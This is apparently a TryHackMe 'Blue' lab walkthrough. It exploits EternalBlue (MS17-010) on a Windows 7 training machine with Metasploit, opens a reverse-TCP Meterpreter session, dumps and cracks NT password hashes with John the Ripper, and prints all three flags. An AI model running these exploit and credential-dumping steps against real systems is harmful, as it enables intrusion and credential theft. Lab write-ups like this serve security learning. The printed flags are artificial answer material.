

Blue TryHackMe

Author: Shantanu Kakade

Introduction

The **Blue** room is a beginner-friendly Windows machine on TryHackMe that focuses on the **EternalBlue (MS17-010)** vulnerability. In this walkthrough, I will perform enumeration, identify the vulnerability, exploit it using Metasploit, and gain access to the target machine in a safe lab environment.

Objective

- Enumerate the target system.
 - Identify vulnerable services.
 - Exploit the MS17-010 (EternalBlue) vulnerability.
 - Gain SYSTEM-level access.
 - Capture the required flags.
 - Understand the impact of unpatched SMB vulnerabilities.

Enumeration

The first step was to scan the target machine using Nmap to identify open ports and running services. This helps understand the target and find possible attack paths.

```
nmap -sCV -oN blue.nmap 10.49.142.224
```

```
zsh - Konsole
New Tab Split View
Copy Paste Find...
openvpn x zsh x

+ ~ mmap -sCV -n blue mmap 10.49.142.224
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-25 20:38 +0530
Nmap scan report for 10.49.142.224
Host is up (0.0086s latency).
Not shown: 992 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp    open  msrpc      Microsoft Windows RPC
139/tcp    open  netbios-ssn Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp    open  rdp         Remote Desktop Protocol
rdp-ntlm-info:
|_ Target_Name: JON-PC
|_ NetBIOS_Domain_Name: JON-PC
|_ NetBIOS_Computer_Name: JON-PC
|_ DNS_Domain_Name: Jon-PC
|_ DNS_Computer_Name: Jon-PC
|_ Product_Version: 6.1.7601
|_ System_Time: 2026-06-25T15:09:12+00:00
|_ ssl-date: 2026-06-25T15:09:27+00:00; 0s from scanner time.
|_ ssl-cert: Subject: commonName=Jon-PC
|_ Not valid before: 2026-06-24T14:59:35
|_ Not valid after: 2026-12-24T14:59:35
49152/tcp  open  msrpc      Microsoft Windows RPC
49153/tcp  open  msrpc      Microsoft Windows RPC
49154/tcp  open  msrpc      Microsoft Windows RPC
49160/tcp  open  msrpc      Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb2-time:
|_ date: 2026-06-25T15:09:12
|_ start_date: 2026-06-25T14:58:46
|_ clock-skew: mean: 59m59s, deviation: 2h14m09s, median: 0s
|_ smb-os-discovery:
|_ OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|_ OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|_ Computer name: Jon-PC
|_ NetBIOS computer name: JON-PC\x00
|_ Workgroup: WORKGROUP\x00
|_ System time: 2026-06-25T10:09:12-05:00
|_ nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 0a:85:7f:48:87:35 (unknown)
|_ smb-security-mode:
|_ account_used: guest
|_ authentication_level: user
|_ challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ smb2-security-mode:
|_ 2.1:
|_ Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 76.83 seconds
```

Open Ports

```
135 - MSRPC
139 - NetBIOS Session Service
445 - Microsoft-DS (SMB)
3389 - Remote Desktop Protocol (RDP)
```

Vulnerability Detection

Before attempting exploitation, I checked whether the target was vulnerable to MS17-010 (EternalBlue) using Metasploit's SMB scanner.

```
msfconsole
search ms17_010
```

The search returned the auxiliary/scanner/smb/smb_ms17_010 module, which can be used to check if the target is vulnerable

```
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.49.142.224
exploit
```

```
~:ruby - Konsole
New Tab Split View
Copy Paste Find...
openvpn x ~:ruby x

=[ metasploit v6.4.135-dev ]
+ -- --[ 2,854 exploits - 1,358 auxiliary - 2,141 payloads ]
+ -- --[ 435 post - 49 encoders - 14 nops - 12 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search ms17_010

Matching Modules
=====
# Name Disclosure Date Rank Check Description
0 exploit/windows/smb/_____eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 \ target: Automatic Target
2 \ target: Windows 7
3 \ target: Windows Embedded Standard 7
4 \ target: Windows Server 2008 R2
5 \ target: Windows 8
6 \ target: Windows 8.1
7 \ target: Windows Server 2012
8 \ target: Windows 10 Pro
9 \ target: Windows 10 Enterprise Evaluation
10 exploit/windows/smb/_____psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 \ target: Automatic
12 \ target: Powershell
13 \ target: Native upload
14 \ target: MOF upload
15 \ AKA: ETERNALSYNERGY
16 \ AKA: ETERNALROMANCE
17 \ AKA: ETERNALCHAMPION
18 \ AKA: ETERNALBLUE
19 auxiliary/admin/smb/_____command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
20 \ AKA: ETERNALSYNERGY
21 \ AKA: ETERNALROMANCE
22 \ AKA: ETERNALCHAMPION
23 \ AKA: ETERNALBLUE
24 auxiliary/scanner/smb/smb_  normal Yes MS17-010 SMB RCE Detection
25 \ AKA: DOUBLEPULSAR
26 \ AKA: ETERNALBLUE

Interact with a module by name or index. For example info 26, use 26 or use auxiliary/scanner/smb/smb_ms17_010

msf > use 26
msf auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.49.142.224
RHOSTS => 10.49.142.224
msf auxiliary(scanner/smb/smb_ms17_010) > exploit
[*] 10.49.142.224:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
> /usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/regexp-3.1.29/lib/regexp/fingerprint/regex_factory.rb:34: warning: nested repeat operator '*' and '?' was replaced with '*' in regular expression
[*] 10.49.142.224:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_ms17_010) >
```

The scanner confirmed that the target machine was vulnerable to **MS17-010 (EternalBlue)**. With the vulnerability confirmed, I proceeded to exploit the target using the appropriate Metasploit exploit module.

Exploitation

After confirming that the target was vulnerable to MS17-010, I loaded the EternalBlue exploit module in Metasploit.

```
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.49.142.224
set LHOST 192.168.142.246
run
```

```
Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

msf auxiliary(scanner/smb/smb_ms17_010) > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/smb_ms17_010_eternalblue) > set RHOSTS 10.49.142.224
RHOSTS => 10.49.142.224
msf exploit(windows/smb/smb_ms17_010_eternalblue) > set LHOST 192.168.142.246
LHOST => 192.168.142.246
msf exploit(windows/smb/smb_ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.142.246:4444
[*] 10.49.142.224:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.49.142.224:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.49.142.224:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.49.142.224:445 - The target is vulnerable.
[*] 10.49.142.224:445 - Connecting to target for exploitation.
[+] 10.49.142.224:445 - Connection established for exploitation.
[+] 10.49.142.224:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.49.142.224:445 - CORE raw buffer dump (42 bytes)
[*] 10.49.142.224:445 - 0x00000000 5f 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.49.142.224:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.49.142.224:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.49.142.224:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.49.142.224:445 - Trying exploit with 12 Groom Allocations.
[*] 10.49.142.224:445 - Sending all but last fragment of exploit packet
[*] 10.49.142.224:445 - Starting non-paged pool grooming
[*] 10.49.142.224:445 - Sending SMBv2 buffers
[+] 10.49.142.224:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.49.142.224:445 - Sending final SMBv2 buffers.
[*] 10.49.142.224:445 - Sending last fragment of exploit packet!
[*] 10.49.142.224:445 - Receiving response from exploit packet
[+] 10.49.142.224:445 - ETHERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.49.142.224:445 - Sending egg to corrupted connection.
[*] 10.49.142.224:445 - Triggering free of corrupted buffer.
[*] Sending stage (248902 bytes) to 10.49.142.224
[*] 10.49.142.224:445 - =====
[+] 10.49.142.224:445 - =====WIN=====
[+] 10.49.142.224:445 - =====
[*] Meterpreter session 1 opened (192.168.142.246:4444 -> 10.49.142.224:49231) at 2026-06-25 20:52:56 +0530

meterpreter >
```

The exploit completed successfully and opened a Meterpreter session on the target machine. This gave me remote access to the Windows system, allowing me to interact with the machine and retrieve the required flags.

Post Exploitation

After gaining a Meterpreter session, I started interacting with the target machine to gather system information and locate the required flags.

```
getuid
sysinfo
hashdump
shell
```

```
openvpn x --:ruby x --:zsh x
[*] 10.49.142.224:445 - CORE raw buffer dump (42 bytes)
[*] 10.49.142.224:445 - 0x00000000 57 69 66 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.49.142.224:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.49.142.224:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[*] 10.49.142.224:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.49.142.224:445 - Trying exploit with 12 Groom Allocations.
[*] 10.49.142.224:445 - Sending all but last fragment of exploit packet
[*] 10.49.142.224:445 - Starting non-paged pool grooming
[*] 10.49.142.224:445 - Sending SMBv2 buffers
[*] 10.49.142.224:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.49.142.224:445 - Sending final SMBv2 buffers.
[*] 10.49.142.224:445 - Sending last fragment of exploit packet!
[*] 10.49.142.224:445 - Receiving response from exploit packet
[*] 10.49.142.224:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.49.142.224:445 - Sending egg to corrupted connection.
[*] 10.49.142.224:445 - Triggering free of corrupted buffer.
[*] Sending stage (248902 bytes) to 10.49.142.224
[*] 10.49.142.224:445 - =====
[*] 10.49.142.224:445 - =====WIN=====
[*] 10.49.142.224:445 - =====
[*] Meterpreter session 1 opened (192.168.142.246:4444 -> 10.49.142.224:49231) at 2026-06-25 20:52:56 +0530

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer      : JON-PC
OS            : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 0
Meterpreter   : x64/windows
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
meterpreter > shell
Process 356 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

The Meterpreter session was running with NT AUTHORITY\SYSTEM privileges, giving me full control over the target machine. Using sysinfo, I confirmed that the target was running Windows 7 Professional Service Pack 1 (x64). I also used hashdump to extract the local user password hashes and then opened a Windows command shell for further interaction with the system.

Cracking the Password Hashes

After dumping the password hashes from the target machine, I saved them to a file on my Kali machine and used John the Ripper with the rockyou.txt wordlist to crack them.

```
nano hashes.txt
john hashes.txt --format=NT --wordlist=/usr/share/wordlists/rockyou.txt
```

```
Uptime: 39 mins
Packages: 4264 (dpkg)
Shell: zsh 5.9
Display (CMN1521): 1920x1080 in 16", 144 Hz [Built-in]
DE: KDE Plasma 6.6.5
WM: KWin (X11)
WM Theme: Kali
Theme: Breeze (KaliDark) [Qt], Breeze-Dark [GTK2], Breeze [GTK3]
Icons: Flat-Remix-Blue-Dark [Qt], Flat-Remix-Blue-Dark [GTK2/3/4]
Font: Noto Sans (12pt) [Qt], Noto Sans (12pt) [GTK2/3/4]
Cursor: breeze (24px)
Terminal: konsole 26.4.0
Terminal Font: JetBrainsMono Nerd Font (12pt)
CPU: Intel(R) Core(TM) i5-10300H (8) @ 4.50 GHz
GPU 1: NVIDIA GeForce GTX 1650 Mobile / Max-Q [Discrete]
GPU 2: Intel UHD Graphics @ 1.05 GHz [Integrated]
Memory: 4.59 GiB / 7.68 GiB (60%)
Swap: 0 B / 7.84 GiB (0%)
Disk (/): 27.14 GiB / 180.11 GiB (15%) - ext4
Local IP (eth0): 192.168.0.103/24
Battery (A32-K55): 100% [AC Connected]
Locale: en_IN

+ ~ nano hashes.txt
+ ~ john hashes.txt --format=NT --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
(Administrator)
alqfna22
(Jon)
2g 0:00:00:00 DONE (2026-06-25 21:05) 2.857g/s 14571Kp/s 14571Kc/s alr19882006..alpusidi
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
```

John the Ripper successfully cracked the password hash for the Jon user.

Username: Jon
Password: alqfna22

Flag 1

The first flag was located in the root of the C: drive.

```
shell
cd C:\
dir
type flag1.txt
```

```
openvpn x - ruby x - zsh x
msf exploit(windows/smb/ms17_010_eternalblue) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 1708 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd C:\
cd C:\

C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is E611-0B66

Directory of C:\

06/25/2026 09:59 AM <DIR>      badr
03/17/2019 02:27 PM      24 flag1.txt
07/13/2009 10:20 PM <DIR>      PerfLogs
04/12/2011 03:28 AM <DIR>      Program Files
03/17/2019 05:28 PM <DIR>      Program Files (x86)
12/12/2018 10:13 PM <DIR>      Users
03/17/2019 05:36 PM <DIR>      Windows
               1 File(s)      24 bytes
               6 Dir(s)  20,497,326,080 bytes free

C:\>type flag1.txt
type flag1.txt
flag{access_the_machine}
C:\>
```

I successfully found the first flag by navigating to the system root and reading the contents of flag1.txt.

Flag 2

The second flag was located in the Windows directory where password-related files are stored

```
cd C:\Windows\System32\config
dir
type flag2.txt
```

```
openvpn x  ~:ruby x  ~:zsh x
03/17/2019 02:27 PM <DIR> 24 flag1.txt
07/13/2009 10:20 PM <DIR> Penflags
04/12/2011 03:28 AM <DIR> Program Files
03/17/2019 05:28 PM <DIR> Program Files (x86)
12/12/2018 10:13 PM <DIR> Users
03/17/2019 05:36 PM <DIR> Windows
1 File(s) 24 bytes
6 Dir(s) 20,497,326,080 bytes free

C:\>type flag1.txt
type flag1.txt
flag{access_the_machine}
C:\>cd C:\Windows\System32\config
cd C:\Windows\System32\config

C:\Windows\System32\config>dir
dir
Volume in drive C has no label.
Volume Serial Number is E611-0B66

Directory of C:\Windows\System32\config

06/25/2026 09:59 AM <DIR> .
06/25/2026 09:59 AM <DIR> ..
12/12/2018 06:08 PM <DIR> 28,672 BCD-Template
06/25/2026 10:08 AM 18,087,936 COMPONENTS
06/25/2026 10:28 AM 262,144 DEFAULT
03/17/2019 02:32 PM 34 flag2.txt
07/13/2009 09:34 PM <DIR> Journal
06/25/2026 10:28 AM <DIR> RegBack
03/17/2019 03:05 PM 262,144 SAM
06/25/2026 10:08 AM 262,144 SECURITY
06/25/2026 10:35 AM 40,632,320 SOFTWARE
06/25/2026 10:48 AM 12,582,912 SYSTEM
11/20/2010 09:41 PM <DIR> systemprofile
12/12/2018 06:03 PM <DIR> TxR
8 File(s) 72,118,306 bytes
6 Dir(s) 20,497,326,080 bytes free

C:\Windows\System32\config>type flag2.txt
type flag2.txt
flag{sam_database_elevated_access}
C:\Windows\System32\config>
```

Flag 3

The final flag was located in **Jon's Documents** folder.

```
cd C:\Users\Jon\Documents
dir
type flag3.txt
```

```
~:ruby x  ~:zsh x

Directory of C:\Windows\System32\config

06/25/2026 09:59 AM <DIR> .
06/25/2026 09:59 AM <DIR> ..
12/12/2018 06:08 PM <DIR> 28,672 BCD-Template
06/25/2026 10:08 AM 18,087,936 COMPONENTS
06/25/2026 10:28 AM 262,144 DEFAULT
03/17/2019 02:32 PM 34 flag2.txt
07/13/2009 09:34 PM <DIR> Journal
06/25/2026 10:28 AM <DIR> RegBack
03/17/2019 03:05 PM 262,144 SAM
06/25/2026 10:08 AM 262,144 SECURITY
06/25/2026 10:35 AM 40,632,320 SOFTWARE
06/25/2026 10:48 AM 12,582,912 SYSTEM
11/20/2010 09:41 PM <DIR> systemprofile
12/12/2018 06:03 PM <DIR> TxR
8 File(s) 72,118,306 bytes
6 Dir(s) 20,497,326,080 bytes free

C:\Windows\System32\config>type flag2.txt
type flag2.txt
flag{sam_database_elevated_access}
C:\Windows\System32\config>cd C:\Users\Jon\Documents
cd C:\Users\Jon\Documents

C:\Users\Jon\Documents>dir
dir
Volume in drive C has no label.
Volume Serial Number is E611-0B66

Directory of C:\Users\Jon\Documents

12/12/2018 10:49 PM <DIR> .
12/12/2018 10:49 PM <DIR> ..
03/17/2019 02:26 PM 37 flag3.txt
1 File(s) 37 bytes
2 Dir(s) 20,497,326,080 bytes free

C:\Users\Jon\Documents>type flag3.txt
type flag3.txt
flag{admin_documents_can_be_valuable}
C:\Users\Jon\Documents>
```

I navigated to Jon's Documents folder and successfully retrieved the final flag, completing all the objectives of the Blue room.

Conclusion

In this walkthrough, I started by enumerating the target with Nmap and identified the SMB service. After confirming the MS17-010 (EternalBlue) vulnerability, I exploited the machine using Metasploit and gained a Meterpreter session with NT AUTHORITY\SYSTEM privileges. I then dumped and cracked the Windows password hashes and successfully retrieved all three flags.